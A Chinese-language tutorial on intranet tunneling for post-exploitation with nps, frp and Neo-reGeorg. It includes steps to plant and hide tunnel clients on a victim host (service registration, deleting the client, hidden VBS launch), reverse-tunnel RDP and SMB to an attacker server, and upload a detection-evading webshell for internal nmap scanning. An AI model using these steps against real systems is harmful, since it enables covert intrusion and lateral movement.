内网穿透工具的使用
0x00-引言
内网穿透搭建隧道是后渗透阶段的前提。依次介绍几种内网工具的使用,如nps、frp、ew、Neo-reGeorg等等。
正向代理:服务器不出网,攻击者主动连接服务器,需要正向代理工具
反向代理:服务器出网,使用反向代理工具,服务器主动连接攻击者
socks代理分为socks4和socks5,socks4只支持TCP协议,socks5支持TCP和UDP协议以及一些身份验证机制
0x01-NPS使用
01-nps配置
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
项目地址:https://github.com/ehang-io/nps
查看服务器版本
下载对应的nps
上传到服务器解压安装
tar -xvzf linux_amd64_server.tar.gz
安装nps
./nps install #linux
nps.exe install #windows
配置nps
路径:/etc/nps/conf/nps.conf
启动nps
nps start
关闭nps
nps stop
web界面
添加socks5隧道代理
点击隧道添加代理
上传nps客户端至受害机
粘贴web界面命令
客户端运行命令
web端看到上线
02-隐藏命令以注册服务形式启动
linux注册服务方式启动,启动之后删除代理客户端
注册:sudo ./npc install 其他命令(web复制)
启动:sudo npc start
停止:sudo npc stop
更换命令需要先卸载:./npc uninstall #再重新注册
查看进程:ps -x
杀死进程:kill -9 pid
windows客户端配置与启动
需要管理员身份运行cmd
注册:npc.exe install 其他命令(web复制)
启动:npc.exe start
停止:npc.exe stop
更换命令内容先卸载:npc.exe uninstall #再重新注册
03-配合proxifiers使用
按图配置
代理规则
proxifiers可以只给某一个应用或服务代理流量,可用于屏蔽其他应用使用代理
配置
访问内网地址
proxifiers显示流量
proxifiers针对内网地址进行配置
目标主机地址写成内网地址即可
0x02-frp使用
01-frp配置
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
下载地址:https://github.com/fatedier/frp/releases/tag/v0.44.0
01-服务端配置
查看处理器架构
arch或uname -a
下载amd64版本的
解压-删除frpc
tar -zxvf frp_0.44.0_linux_amd64.tar.gz
rm -rf frpc*
修改配置文件frps.ini
vim frps.ini
[common]
#用于客户端和服务端连接的端口
bind_port = 7000
#是服务端仪表板的端口
dashboard_port = 7500
#用于客户端和服务端连接的口令
token = 123456
#打开仪表板页面登录的用户名和密码
dashboard_user = admin
dashboard_pwd = admin
启动
./frps -c frps.ini
nohup ./frps -c frps.ini & #后台运行,可直接ctrl + c且frp进程不会消失
kill pid #杀死进程
ps -aux|grep frp| grep -v grep #关闭frp进程
访问主机7500端口
配置systemctl来控制frps
#创建frps.service
sudo vim /lib/systemd/system/frps.service
#编辑frps.service
[Unit]
Description=frps service
After=network.target syslog.target
Wants=network.target
[Service]
Type=simple
ExecStart=/root/frp/frps -c /root/frp/frps.ini #启动服务的命令(此处写你的frps的实际安装目录)
[Install]
WantedBy=multi-user.target
相关命令
#启动frps
sudo systemctl start frps
#服务器开机自动启动frps
sudo systemctl enable frps
#重启frps
sudo systemctl restart frps
#停止frps
sudo systemctl stop frps
#查看日志
sudo systemctl status frps
02-客户端配置
配置frpc.ini
[common]
server_addr = 服务器公网ip地址
server_port = 7000
token = 41efjkjoe
[web]
type = http
local_port = 8080
custom_domains = 服务器公网ip地址
[rdp]#远程桌面
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7001
[smb]#远程文件访问
type = tcp
local_ip = 127.0.0.1
local_port = 445
remote_port = 7002
个人样例
[common]
server_addr = ip
server_port = 7000
token = 123456
use_encryption = true
use_compression = true
[qax]
type = tcp
remote_port = 1085
plugin = socks5
启动frpc
#linux运行frpc程序
frpc -c frpc.ini
nohup ./frpc -c ./frpc.ini & #后台隐藏启动
#windows运行frpc程序
frpc.exe -c frpc.ini
#windos隐藏启动vbs脚本
dim objShell
set objShell=wscript.createObject("WScript.Shell")
iReturnCode=objShell.Run("frpc.exe -c frpc.ini",0,TRUE)
#windows杀死进程
taskkill /f /pid [进程号]
linux
windows vbs脚本后台隐藏启动
启动成功
0x03-Neo-reGeorg使用
内网主机不出网,配置正向代理使用,HTTP隧道的工具。
写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测
传输内容经过变形 base64 加密,伪装成 base64 编码
直接请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成,避免特征检测
HTTP Headers 可定制化
自定义 HTTP 响应码
多 URL 随机请求
服务端 DNS 解析
兼容 python2 / python3
服务端环境的高兼容性
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
GitHub地址:https://github.com/L-codes/Neo-reGeorg
01-用法
生成webshell
python3 neoreg.py generate -k password
上传生成的webshell
连接
python3 neoreg.py -k password -u http://xx/tunnel.php
02-浏览器设置代理
挂上本地1080端口代理即可使用
03-kali中proxychains设置代理
启动reGeorg
vim /etc/proxychains4.conf
添加socks5代理地址
扫描端口
proxychains nmap -sT -Pn 192.168.43.238
参考
https://blog.csdn.net/qq_44159028/article/details/122719330
https://github.com/ehang-io/nps/blob/master/README_zh.md
https://www.cnblogs.com/zh93/p/16513544.html
https://zhuanlan.zhihu.com/p/434621344
https://blog.csdn.net/weixin_44604541/article/details/119756779